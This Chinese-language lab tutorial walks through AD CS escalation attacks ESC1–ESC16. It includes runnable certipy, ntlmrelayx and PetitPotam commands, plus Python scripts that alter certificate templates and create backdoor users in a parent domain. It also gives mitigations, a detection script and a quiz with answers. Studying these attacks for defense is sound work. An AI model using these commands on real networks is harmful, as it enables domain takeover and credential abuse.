經過前兩天深入探討 ADCS 的各種攻擊手法,今天要進行一個全面性的整理,將所有已知的 ESC(Escalation Scenario)攻擊技術做完整的技術剖析。從 2021 年 SpecterOps 發布的開創性研究到 2024 年最新發現的漏洞,我們將系統性地解析這 16 種攻擊路徑的技術細節。
在完成今天的學習後,你將能夠:
如果你攻擊 ESC 系列的時候發現一直出現 0x80070576
可能是因為 CA 的服務下線,請重新將 Windows 機器們重新開機。
重開機之後,再重新測試,可以正常運作。
ESC1 是最典型的 ADCS 設定錯誤,當憑證範本允許申請者自行指定憑證中的身分資訊(Subject Alternative Name),攻擊者可以申請一張宣稱自己是網域管理員的憑證。
憑證範本中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
旗標允許申請者在憑證簽署請求(CSR)中自訂主體名稱。當這個設定與客戶端驗證 EKU 結合,且沒有適當的審核機制時,CA 會簽發一張包含任意身分的憑證。
技術細節:
# 步驟 1:識別脆弱的範本
certipy find -u 'missandei@essos.local' -p 'fr3edom' \
-vulnerable -enabled -dc-ip 192.168.139.12 -stdout | grep "ESC1"
# 步驟 2:申請惡意憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
-target 'braavos.essos.local' -ca 'ESSOS-CA' \
-template 'ESC1' \
-upn 'administrator@essos.local' \
-sid 'S-1-5-21-1394808576-3393508183-1134699666-500' \
-dc-ip 192.168.139.12
# 步驟 3:使用憑證進行驗證
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell
# 如果失敗可以使用 ldap
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell
ESC2 涉及設定為「任何用途」(Any Purpose)或沒有指定 EKU 的憑證範本。這種憑證可以用於任何目的,包括作為憑證申請代理。
技術關鍵:
# 取得 Any Purpose 憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
-target 'braavos.essos.local' -ca 'ESSOS-CA' \
-template 'ESC2' -dc-ip 192.168.139.12
ESC3 利用憑證申請代理(Enrollment Agent)功能,允許代表其他使用者申請憑證的正常功能被濫用。
技術機制:
# 步驟 1:取得代理憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
-target 'braavos.essos.local' -ca 'ESSOS-CA' \
-template 'ESC2' -dc-ip 192.168.139.12
# 產出:missandei.pfx(含 Certificate Request Agent 能力)
# 步驟 2:使用代理憑證代表 Administrator 申請
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
-target 'braavos.essos.local' -ca 'ESSOS-CA' \
-template 'User' \
-on-behalf-of 'ESSOS\Administrator' \
-pfx 'missandei.pfx' \
-dc-ip 192.168.139.12
# 產出:administrator.pfx
# 步驟 3:使用管理員憑證
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell
ESC4 發生在低權限使用者對憑證範本物件擁有寫入權限,可以修改範本設定使其變得脆弱。
憑證範本是 AD 物件,儲存在設定命名環境中。如果 ACL 設定不當,攻擊者可以:
msPKI-Certificate-Name-Flag
啟用 ENROLLEE_SUPPLIES_SUBJECT
# 安裝腳本
pip3 install bloodyad
# 修改範本屬性 (使範本變脆弱)
bloodyAD -u 'khal.drogo' -p 'horse' -d essos.local \
--host 192.168.139.12 set object \
'CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' \
msPKI-Certificate-Name-Flag -v 1
# 成功將 `msPKI-Certificate-Name-Flag` 設為 1(ENROLLEE_SUPPLIES_SUBJECT)
# 利用修改後的範本
certipy req -u 'khal.drogo@essos.local' -p 'horse' \
-target 'braavos.essos.local' -ca 'ESSOS-CA' \
-template 'ESC4' \
-upn 'administrator@essos.local' \
-dc-ip 192.168.139.12
# 成功取得 administrator 的憑證
# 驗證權限提升
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell
# 成功以 Administrator 身份認證
# 還原範本(清理痕跡)
bloodyAD -u 'khal.drogo' -p 'horse' -d essos.local \
--host 192.168.139.12 set object \
'CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' \
msPKI-Certificate-Name-Flag -v 0
# 成功還原原始設定
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} |
ForEach-Object { Get-Acl "AD:$($_.DistinguishedName)" }
ESC5 利用 Active Directory 森林中的權限配置缺陷,允許子網域的機器帳號(特別是域控制器的 SYSTEM 帳號)對父網域的 Public Key Services 容器擁有意外的寫入權限。這個漏洞展示了 AD 森林信任關係中的根本性設計問題。
在 AD 森林架構中,子網域的域控制器需要能夠複製和同步某些配置資訊。然而,這個設計導致了過度的權限授予,使得子網域的機器帳號能夠修改父網域的 PKI 物件,包括憑證範本、CA 設定等關鍵安全元件。
sevenkingdoms.local (父網域)
└── north.sevenkingdoms.local (子網域)
└── SYSTEM 對父網域的 PKI 容器有完全控制權
PKI 物件階層:
CN=Public Key Services
├── CN=Certificate Templates
├── CN=Enrollment Services
├── CN=NTAuthCertificates(信任的 CA)
├── CN=AIA(授權資訊存取)
└── CN=CDP(憑證撤銷點)
如果攻擊者可以修改這些物件:
# 檢查 PKI 物件權限
$PKIPath = "CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"
Get-Acl "AD:$PKIPath" | Format-List
# 如果有寫入權限,可以新增惡意 CA
# 1. 建立惡意 CA
# 2. 將憑證加入 NTAuthCertificates
# 3. 簽發任意憑證
#!/usr/bin/env python3
# esc5_reconnaissance.py
"""
ESC5 攻擊 - 步驟 1:偵察階段
目的:確認子網域機器帳號對父網域 PKI 物件的權限
作者:Security Research Team
測試環境:GOAD Lab (north.sevenkingdoms.local -> sevenkingdoms.local)
"""
import ldap3
from ldap3 import Server, Connection, NTLM
def check_pki_permissions():
"""
檢查 WINTERFELL$ (子網域 DC) 對父網域 PKI 容器的權限
"""
# 連接配置
server = Server('192.168.139.10', get_info=ldap3.ALL) # 父網域 DC
# 使用子網域機器帳號認證
# 注意:這裡使用 NTLM hash 格式 (LM:NT)
conn = Connection(
server,
user='north.sevenkingdoms.local\\WINTERFELL$',
password='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1',
authentication=ldap3.NTLM
)
if conn.bind():
print("[+] 成功以 WINTERFELL$ 身份連接到父網域")
# 搜尋 PKI 容器
base_dn = "CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
# 搜尋所有 PKI 相關物件
conn.search(
base_dn,
'(objectClass=*)',
attributes=['cn', 'objectClass', 'distinguishedName']
)
pki_objects = []
for entry in conn.entries:
pki_objects.append(entry.entry_dn)
print(f"[*] 發現 PKI 物件: {entry.cn}")
# 特別檢查憑證範本
templates_dn = "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
conn.search(
templates_dn,
'(objectClass=pKICertificateTemplate)',
attributes=['cn', 'msPKI-Certificate-Name-Flag']
)
print(f"\n[+] 發現 {len(conn.entries)} 個憑證範本")
# 檢查是否可以修改
test_dn = "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
try:
# 嘗試讀取範本屬性
conn.search(test_dn, '(objectClass=*)', attributes=['msPKI-Certificate-Name-Flag'])
if conn.entries:
print(f"[+] 可以讀取範本屬性 - 可能有寫入權限")
return True
except Exception as e:
print(f"[-] 無法讀取範本: {e}")
return False
conn.unbind()
else:
print("[-] 連接失敗")
return False
if __name__ == "__main__":
check_pki_permissions()
#!/usr/bin/env python3
# esc5_template_modification.py
"""
ESC5 攻擊 - 步驟 2:範本修改
目的:將安全的憑證範本修改為可被利用的狀態
關鍵修改:
1. ENROLLEE_SUPPLIES_SUBJECT - 允許申請者指定主體名稱
2. Client Authentication EKU - 允許憑證用於身份驗證
3. 移除簽章需求 - 降低申請門檻
"""
import ldap3
from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE
class TemplateModifier:
def __init__(self, target_dc, machine_account, machine_hash):
"""
初始化範本修改器
參數:
target_dc: 父網域 DC IP
machine_account: 機器帳號名稱
machine_hash: NTLM hash
"""
self.server = Server(target_dc, get_info=ldap3.ALL)
self.conn = Connection(
self.server,
user=machine_account,
password=machine_hash,
authentication=ldap3.NTLM
)
def connect(self):
"""建立連接"""
if self.conn.bind():
print("[+] 連接成功")
return True
return False
def modify_template(self, template_name="User"):
"""
修改指定的憑證範本使其脆弱
關鍵屬性說明:
- msPKI-Certificate-Name-Flag:
0 = 使用 AD 資訊
1 = ENROLLEE_SUPPLIES_SUBJECT (允許指定任意主體)
- pKIExtendedKeyUsage:
1.3.6.1.5.5.7.3.2 = Client Authentication
1.3.6.1.5.5.7.3.1 = Server Authentication
- msPKI-RA-Signature:
0 = 不需要簽章
1+ = 需要指定數量的簽章
- msPKI-Enrollment-Flag:
0 = 無特殊標記
32 = AUTO_ENROLLMENT
"""
template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
modifications = {
# 允許申請者提供主體名稱 - ESC1 的關鍵
'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [1])],
# 新增客戶端認證 EKU - 允許用於身份驗證
'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['1.3.6.1.5.5.7.3.2'])],
# 移除簽章需求 - 降低申請門檻
'msPKI-RA-Signature': [(MODIFY_REPLACE, [0])],
# 設定自動註冊標記 - 簡化申請流程
'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [32])]
}
print(f"[*] 正在修改範本: {template_name}")
for attr, value in modifications.items():
try:
self.conn.modify(template_dn, {attr: value})
print(f" [+] 成功修改 {attr}")
except Exception as e:
print(f" [-] 無法修改 {attr}: {e}")
return True
def publish_template_to_ca(self, template_name, ca_name="SEVENKINGDOMS-CA"):
"""
將範本發布到 CA
這是必要步驟,否則範本無法使用
"""
ca_dn = f"CN={ca_name},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
from ldap3 import MODIFY_ADD
try:
self.conn.modify(ca_dn, {
'certificateTemplates': [(MODIFY_ADD, [template_name])]
})
print(f"[+] 範本 {template_name} 已發布到 CA")
return True
except Exception as e:
# 可能範本已經發布
print(f"[*] 範本可能已發布: {e}")
return False
# 主程式
if __name__ == "__main__":
modifier = TemplateModifier(
target_dc='192.168.139.10',
machine_account='north.sevenkingdoms.local\\WINTERFELL$',
machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
)
if modifier.connect():
# 修改多個範本以增加成功機會
templates = ['User', 'WebServer', 'Machine']
for template in templates:
modifier.modify_template(template)
modifier.publish_template_to_ca(template)
#!/usr/bin/env python3
# esc5_user_creation.py
"""
ESC5 攻擊 - 步驟 3:建立後門使用者
目的:在父網域建立可控制的使用者帳號
這展示了跨網域的物件建立能力
"""
import ldap3
from ldap3 import Server, Connection, NTLM
import random
import string
class CrossDomainUserCreator:
def __init__(self, target_dc, machine_account, machine_hash):
self.server = Server(target_dc, get_info=ldap3.ALL)
self.conn = Connection(
self.server,
user=machine_account,
password=machine_hash,
authentication=ldap3.NTLM
)
def create_user(self, username="ESC5Admin", password="ESC5Attack123!"):
"""
在父網域建立新使用者
重要:這個操作證明了子網域機器帳號
不只能修改,還能建立父網域的物件
"""
if not self.conn.bind():
print("[-] 連接失敗")
return False
user_dn = f"CN={username},CN=Users,DC=sevenkingdoms,DC=local"
# 使用者屬性
user_attributes = {
'objectClass': ['top', 'person', 'organizationalPerson', 'user'],
'cn': username,
'sAMAccountName': username,
'userPrincipalName': f'{username}@sevenkingdoms.local',
'displayName': 'ESC5 Test User',
'description': 'Created via ESC5 attack',
# 512 = NORMAL_ACCOUNT (啟用的一般使用者)
'userAccountControl': 512,
# 設定初始密碼
# 注意:密碼需要用 UTF-16LE 編碼並加引號
'unicodePwd': f'"{password}"'.encode('utf-16le')
}
try:
# 建立使用者
self.conn.add(user_dn, attributes=user_attributes)
if self.conn.result['result'] == 0:
print(f"[+] 成功在父網域建立使用者: {username}")
print(f" 密碼: {password}")
# 嘗試將使用者加入群組
self.add_to_group(user_dn, "Domain Users")
return True
else:
print(f"[-] 建立失敗: {self.conn.result['description']}")
return False
except Exception as e:
print(f"[-] 建立使用者時發生錯誤: {e}")
# 如果使用者已存在,嘗試重設密碼
if "ENTRY_EXISTS" in str(e):
print("[*] 使用者已存在,嘗試重設密碼")
return self.reset_password(user_dn, password)
return False
def add_to_group(self, user_dn, group_name):
"""將使用者加入指定群組"""
from ldap3 import MODIFY_ADD
group_dn = f"CN={group_name},CN=Users,DC=sevenkingdoms,DC=local"
try:
self.conn.modify(group_dn, {
'member': [(MODIFY_ADD, [user_dn])]
})
print(f" [+] 已加入群組: {group_name}")
return True
except Exception as e:
print(f" [*] 無法加入群組: {e}")
return False
def reset_password(self, user_dn, new_password):
"""重設使用者密碼"""
from ldap3 import MODIFY_REPLACE
try:
encoded_password = f'"{new_password}"'.encode('utf-16le')
self.conn.modify(user_dn, {
'unicodePwd': [(MODIFY_REPLACE, [encoded_password])]
})
print(f"[+] 密碼已重設")
return True
except Exception as e:
print(f"[-] 無法重設密碼: {e}")
return False
if __name__ == "__main__":
creator = CrossDomainUserCreator(
target_dc='192.168.139.10',
machine_account='north.sevenkingdoms.local\\WINTERFELL$',
machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
)
# 建立多個使用者以增加成功率
users = [
("ESC5Admin", "Complex@Pass123!"),
("BackdoorUser", "Hidden@Access456!"),
("ServiceAccount", "Svc@Account789!")
]
for username, password in users:
if creator.create_user(username, password):
print(f"[+] 後門使用者 {username} 建立成功")
break
#!/usr/bin/env python3
# esc5_cleanup.py
"""
ESC5 攻擊 - 步驟 4:清理痕跡
目的:還原修改,移除痕跡
重要:在真實滲透測試中,清理是必要的道德責任
"""
import ldap3
from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE
import json
import datetime
class ESC5Cleanup:
def __init__(self, target_dc, machine_account, machine_hash):
self.server = Server(target_dc, get_info=ldap3.ALL)
self.conn = Connection(
self.server,
user=machine_account,
password=machine_hash,
authentication=ldap3.NTLM
)
self.backup_file = f"esc5_backup_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
def backup_template(self, template_name):
"""備份原始範本設定"""
if not self.conn.bind():
return None
template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
# 取得所有屬性
self.conn.search(template_dn, '(objectClass=*)', attributes=['*'])
if self.conn.entries:
backup = {}
for entry in self.conn.entries:
for attr in entry.entry_attributes:
# 轉換為可序列化的格式
value = entry[attr].value
if isinstance(value, bytes):
value = value.hex()
backup[attr] = value
# 儲存備份
with open(self.backup_file, 'w') as f:
json.dump({template_name: backup}, f, indent=2)
print(f"[+] 範本 {template_name} 已備份到 {self.backup_file}")
return backup
return None
def restore_template(self, template_name):
"""還原範本到原始狀態"""
template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
# 標準安全設定
safe_settings = {
'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [0])], # 不允許指定主體
'msPKI-RA-Signature': [(MODIFY_REPLACE, [1])], # 需要簽章
'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [0])] # 標準註冊
}
if not self.conn.bind():
print("[-] 無法連接")
return False
for attr, value in safe_settings.items():
try:
self.conn.modify(template_dn, {attr: value})
print(f" [+] 還原 {attr}")
except Exception as e:
print(f" [-] 無法還原 {attr}: {e}")
return True
def remove_user(self, username):
"""移除建立的後門使用者"""
if not self.conn.bind():
return False
user_dn = f"CN={username},CN=Users,DC=sevenkingdoms,DC=local"
try:
self.conn.delete(user_dn)
print(f"[+] 已移除使用者: {username}")
return True
except Exception as e:
print(f"[-] 無法移除使用者: {e}")
return False
def audit_changes(self):
"""
審計所有修改
在真實環境中,這些修改會產生事件日誌
"""
print("\n[*] ESC5 攻擊會產生的事件日誌:")
print(" - 事件 ID 4899: 憑證範本更新")
print(" - 事件 ID 4720: 建立使用者帳號")
print(" - 事件 ID 4738: 使用者帳號變更")
print(" - 事件 ID 5136: 目錄服務物件修改")
print("\n[!] 防禦者應監控這些事件")
if __name__ == "__main__":
cleanup = ESC5Cleanup(
target_dc='192.168.139.10',
machine_account='north.sevenkingdoms.local\\WINTERFELL$',
machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
)
# 執行清理
print("[*] 開始清理 ESC5 攻擊痕跡")
# 還原範本
for template in ['User', 'WebServer', 'Machine']:
print(f"\n[*] 還原範本: {template}")
cleanup.restore_template(template)
# 移除後門使用者
for username in ['ESC5Admin', 'BackdoorUser', 'ServiceAccount', 'ESC5User']:
cleanup.remove_user(username)
# 審計報告
cleanup.audit_changes()
即使無法直接申請憑證,這個漏洞仍然嚴重:
ESC6 發生在 CA 層級啟用 EDITF_ATTRIBUTESUBJECTALTNAME2
旗標,允許申請者透過請求屬性指定 SAN。
san:upn=administrator@corp.local&sid=S-1-5-21-...-500
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
-target 'braavos.essos.local' -ca 'ESSOS-CA' \
-template 'User' \
-upn 'administrator@essos.local' \
-dc-ip 192.168.139.12
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell
# 停用危險旗標
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc
net start certsvc
ESC7 發生在低權限使用者擁有 CA 的 ManageCA 或 ManageCertificates 權限。
# 步驟 1:確認使用者擁有 ESC7 權限
certipy find -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
-dc-ip 192.168.139.12 -vulnerable -stdout | grep ESC7
# 輸出確認:ESC7 - User has dangerous permissions.
# 步驟 2:列出當前已啟用的憑證範本
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
-ca 'ESSOS-CA' -list-templates \
-dc-ip 192.168.139.12 -target 192.168.139.23
# 注意:SubCA 範本預設未在清單中(已停用)
# 步驟 3:啟用危險的 SubCA 範本
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
-ca 'ESSOS-CA' -enable-template 'SubCA' \
-dc-ip 192.168.139.12 -target 192.168.139.23
# 成功訊息:Successfully enabled 'SubCA' on 'ESSOS-CA'
# 步驟 4:驗證 SubCA 範本已啟用
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
-ca 'ESSOS-CA' -list-templates \
-dc-ip 192.168.139.12 -target 192.168.139.23
# SubCA 現在出現在已啟用範本清單的第一位
# 步驟 5:清理 - 停用 SubCA 範本(重要!)
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
-ca 'ESSOS-CA' -disable-template 'SubCA' \
-dc-ip 192.168.139.12 -target 192.168.139.23
# 成功訊息:Successfully disabled 'SubCA' on 'ESSOS-CA'
ESC8 利用 AD CS Web Enrollment 服務未啟用擴充保護驗證(EPA),可進行 NTLM 中繼攻擊。
# 步驟 1:啟動 NTLM 中繼監聽
ntlmrelayx.py -t http://192.168.139.23/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 步驟 2:強制 DC 驗證(自動觸發)
# MEEREEN$ (DC) 自動進行了 NTLM 認證
# 實際環境可使用 PetitPotam、Coercer 等工具
python3 PetitPotam.py -u 'missandei' -p 'fr3edom' \
-d essos.local 192.168.139.136 192.168.139.12
# 步驟 3:自動取得 DC 憑證
# 輸出:MEEREEN$.pfx (Certificate ID: 153)
# 步驟 4:使用憑證進行 LDAP 認證
certipy auth -pfx 'MEEREEN$.pfx' -dc-ip 192.168.139.12 -ldap-shell
# 成功認證為:ESSOS\MEEREEN$
# 步驟 1:啟動 NTLM 中繼監聽
ntlmrelayx.py -t http://192.168.139.10/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 步驟 2:強制 DC 驗證(使用 PetitPotam)
python3 PetitPotam.py -u 'jon.snow' -p 'iknownothing' \
-d north.sevenkingdoms.local \
192.168.139.136 192.168.139.11
# 步驟 3:自動取得 DC 憑證
# 輸出:WINTERFELL$.pfx
# 步驟 4:使用憑證認證
certipy auth -pfx 'WINTERFELL$.pfx' \
-username 'winterfell$' \
-domain 'north.sevenkingdoms.local' \
-dc-ip 192.168.139.11
ESC9 涉及範本設定 CT_FLAG_NO_SECURITY_EXTENSION
,不包含 SID 安全擴充。
# 步驟 1:修改受害者的 UPN
certipy account update \
-u 'daenerys.targaryen@essos.local' \
-p 'BurnThemAll!' \
-dc-ip 192.168.139.12 \
-user 'missandei' \
-upn 'administrator'
# 步驟 2:以受害者身分申請憑證
certipy req \
-u 'missandei@essos.local' \
-p 'fr3edom' \
-target 192.168.139.23 \
-ca 'ESSOS-CA' \
-template 'ESC9' \
-dc-ip 192.168.139.12
# 步驟 3:還原 UPN(清理痕跡)
certipy account update \
-u 'daenerys.targaryen@essos.local' \
-p 'BurnThemAll!' \
-dc-ip 192.168.139.12 \
-user 'missandei' \
-upn 'missandei@essos.local'
# 步驟 4:使用憑證認證
certipy auth \
-pfx 'administrator.pfx' \
-username 'administrator' \
-domain 'essos.local' \
-dc-ip 192.168.139.12
reg add HKLM\SYSTEM\CurrentControlSet\Services\Kdc \
/v StrongCertificateBindingEnforcement /t REG_DWORD /d 2
ESC10 涉及 Schannel 的憑證映射方法設定不當,允許基於 UPN 的映射。
# 步驟 1:修改受害者 UPN 為 DC 帳號
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 192.168.139.10 -user 'victim' \
-upn 'dc$@corp.local' update
# 步驟 2:申請憑證
certipy req -k -dc-ip 192.168.139.10 \
-target 'ca.corp.local' -ca 'CORP-CA' \
-template 'User'
# 步驟 3:透過 LDAPS 驗證
certipy auth -pfx 'dc.pfx' -dc-ip 192.168.139.10 -ldap-shell
# 設定安全的映射方法
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL \
/v CertificateMappingMethods /t REG_DWORD /d 0x18
ESC11 類似 ESC8,但目標是 CA 的 RPC 介面而非 Web 服務。
# 步驟 1:啟動 RPC 中繼
certipy relay -target 'rpc://ca.corp.local' \
-ca 'CORP-CA' -template 'DomainController'
# 步驟 2:強制驗證
# (使用 PetitPotam 或其他工具)
# 步驟 3:自動取得憑證
# 強制 RPC 加密
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc
net start certsvc
ESC12 是特定硬體 HSM(YubiHSM2)的軟體堆疊弱點,允許低權限使用者濫用 CA 簽章功能。
這是硬體特定的攻擊,需要:
ESC13 利用憑證的發行策略(Issuance Policy)OID 連結到 AD 群組的機制。
msDS-OIDToGroupLink
屬性指向 AD 群組# 步驟 1:識別有群組連結的範本
certipy find -u 'user@corp.local' -p 'Password!' \
-vulnerable -dc-ip 192.168.139.10 -oids
# 步驟 2:申請憑證
certipy req -u 'user@corp.local' -p 'Password!' \
-target 'ca.corp.local' -ca 'CORP-CA' \
-template 'LinkedPolicyTemplate'
# 步驟 3:使用憑證(自動獲得連結群組權限)
certipy auth -pfx 'user.pfx' -dc-ip 192.168.139.10
Get-ADObject -Filter {objectClass -eq "msPKI-Enterprise-Oid"} -Properties *
ESC14 涉及 altSecurityIdentities
屬性使用弱映射規則。
弱映射範例:
X509:<S>CN=User
(只依賴 CN)X509:<RFC822>email@domain.com
(依賴郵件)使用強映射格式:
X509:<I>IssuerDN<SR>SerialNumber
X509:<SHA1-PUKEY>PublicKeyHash
ESC15 允許在未修補的 CA 上,對 V1 範本注入任意應用策略。
# 注入客戶端驗證到 Web 伺服器範本
certipy req -u 'user@corp.local' -p 'Password!' \
-target 'ca.corp.local' -ca 'CORP-CA' \
-template 'WebServer' \
-application-policies 'Client Authentication' \
-upn 'administrator@corp.local'
ESC16 是 CA 層級停用 SID 安全擴充,影響所有憑證。
與 ESC9 相同,但適用於該 CA 的所有範本。
# 重新啟用安全擴充
certutil -setreg policy\DisableExtensionList -1.3.6.1.4.1.311.25.2
net stop certsvc
net start certsvc
ESC編號 | 主要防禦措施 | 監控重點 | 優先級 |
---|---|---|---|
ESC1 | 停用申請者提供主體 | Event 4886 | 極高 |
ESC2 | 明確指定 EKU | 範本變更 | 高 |
ESC3 | 限制代理憑證 | 代理活動 | 高 |
ESC4 | 審查範本 ACL | Event 4899 | 極高 |
ESC5 | 限制 PKI 物件權限 | Event 5136 | 中 |
ESC6 | 停用 EDITF_ATTRIBUTESUBJECTALTNAME2 | CA 設定變更 | 極高 |
ESC7 | 限制 CA 權限 | Event 4876 | 極高 |
ESC8 | 啟用 EPA | Web 存取日誌 | 極高 |
ESC9 | 移除 NoSecurityExtension | 憑證內容 | 高 |
ESC10 | 設定 CertificateMappingMethods | LDAPS 驗證 | 中 |
ESC11 | 強制 RPC 加密 | RPC 連線 | 高 |
ESC12 | 更新 HSM 軟體 | HSM 日誌 | 低 |
ESC13 | 審查 OID 連結 | 群組變更 | 中 |
ESC14 | 使用強映射 | altSecurityIdentities | 低 |
ESC15 | 安裝修補程式 | 異常 EKU | 極高 |
ESC16 | 啟用安全擴充 | CA 設定 | 極高 |
# ADCS 安全檢測腳本
function Test-ADCSSecurity {
Write-Host "=== ADCS 安全檢測 ===" -ForegroundColor Cyan
# ESC1 檢測
$ESC1Templates = Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * |
Where-Object {
$_.'msPKI-Certificate-Name-Flag' -band 1 -and
$_.'pKIExtendedKeyUsage' -match '1.3.6.1.5.5.7.3.2'
}
if ($ESC1Templates) {
Write-Host "[!] 發現 ESC1 脆弱範本:" -ForegroundColor Red
$ESC1Templates | ForEach-Object { Write-Host " - $($_.Name)" }
}
# ESC6 檢測
$EditFlags = certutil -getreg policy\EditFlags
if ($EditFlags -match "EDITF_ATTRIBUTESUBJECTALTNAME2") {
Write-Host "[!] ESC6:CA 允許 SAN 規範" -ForegroundColor Red
}
# ESC9/16 檢測
$DisabledExt = certutil -getreg policy\DisableExtensionList
if ($DisabledExt -match "1.3.6.1.4.1.311.25.2") {
Write-Host "[!] ESC16:安全擴充被停用" -ForegroundColor Red
}
}
Test-ADCSSecurity
ADCS 的 ESC 系列攻擊展現了企業 PKI 基礎設施的複雜性和潛在風險。每種攻擊都有其特定的前提條件、攻擊路徑和防禦方法。重要的是要理解:
記住:ADCS 安全不是一次性的設定,而是持續的監控、稽核和改進過程。定期執行安全評估,保持系統更新,並教育管理員瞭解這些風險,是維護企業 PKI 安全的關鍵。
在 ESC1 攻擊中,哪個憑證範本旗標是造成漏洞的關鍵設定?
A. CT_FLAG_MACHINE_TYPE
B. CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
C. CT_FLAG_AUTO_ENROLLMENT
D. CT_FLAG_PUBLISH_TO_DS
答案:B
解析:
ESC1 漏洞的核心在於憑證範本中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
旗標,這個設定允許申請者在憑證簽署請求(CSR)中自訂主體名稱。當此旗標被啟用且結合客戶端驗證 EKU 時,攻擊者可以申請一張宣稱自己是網域管理員的憑證。其他選項都不是 ESC1 的關鍵要素。
下列哪個 ESC 攻擊需要利用「憑證申請代理」(Enrollment Agent) 功能?
A. ESC1 - 允許申請者提供主體名稱
B. ESC2 - Any Purpose 憑證範本
C. ESC3 - 憑證申請代理濫用
D. ESC4 - 範本劫持
答案:C
解析:
ESC3 專門利用憑證申請代理(Enrollment Agent)功能,這個功能原本設計給 IT 人員協助使用者申請憑證。攻擊者取得包含特定 EKU(1.3.6.1.4.1.311.20.2.1)的代理憑證後,可以代表任何人申請憑證。攻擊流程包括先取得代理憑證,然後使用 -on-behalf-of
參數代表 Administrator 申請憑證。
在 ESC4 攻擊中,攻擊者主要修改憑證範本的哪個屬性來實現權限提升?
A. msPKI-Certificate-Name-Flag
設為 1
B. msPKI-RA-Signature
設為 100
C. msPKI-Enrollment-Flag
設為 0
D. pKIMaxIssuingDepth
設為 10
答案:A
解析:
ESC4 攻擊的核心是修改範本的 msPKI-Certificate-Name-Flag
屬性設為 1,這會啟用 ENROLLEE_SUPPLIES_SUBJECT 功能。攻擊者如果對憑證範本物件擁有寫入權限,可以修改這個屬性,使原本安全的範本變得脆弱,允許申請者自行指定憑證中的身分資訊。這樣就能將一個安全的範本轉變為類似 ESC1 的脆弱範本。
ESC8 攻擊利用 AD CS 的哪個服務進行 NTLM 中繼?
A. RPC Endpoint Mapper
B. Web Enrollment (certsrv)
C. LDAP Service
D. Kerberos KDC
答案:B
解析:
ESC8 利用 AD CS Web Enrollment 服務(certsrv)未啟用擴充保護驗證(EPA),可進行 NTLM 中繼攻擊。IIS 預設允許 NTLM 驗證且未啟用通道繫結(Channel Binding),攻擊者可中繼受害者的 NTLM 驗證到 /certsrv/ 端點。攻擊時會使用 ntlmrelayx.py 工具,目標設定為 http://CA-IP/certsrv/certfnsh.asp。
哪個防禦措施可以同時緩解 ESC1 和 ESC6 兩種攻擊?
A. 升級所有 V1 範本到 V2 版本
B. 停用「由申請者提供主體」並關閉 CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2 旗標
C. 啟用憑證管理員核准所有申請
D. 限制 Domain Users 的註冊權限
答案:B
解析:
這題需要理解兩種攻擊的本質:
EDITF_ATTRIBUTESUBJECTALTNAME2
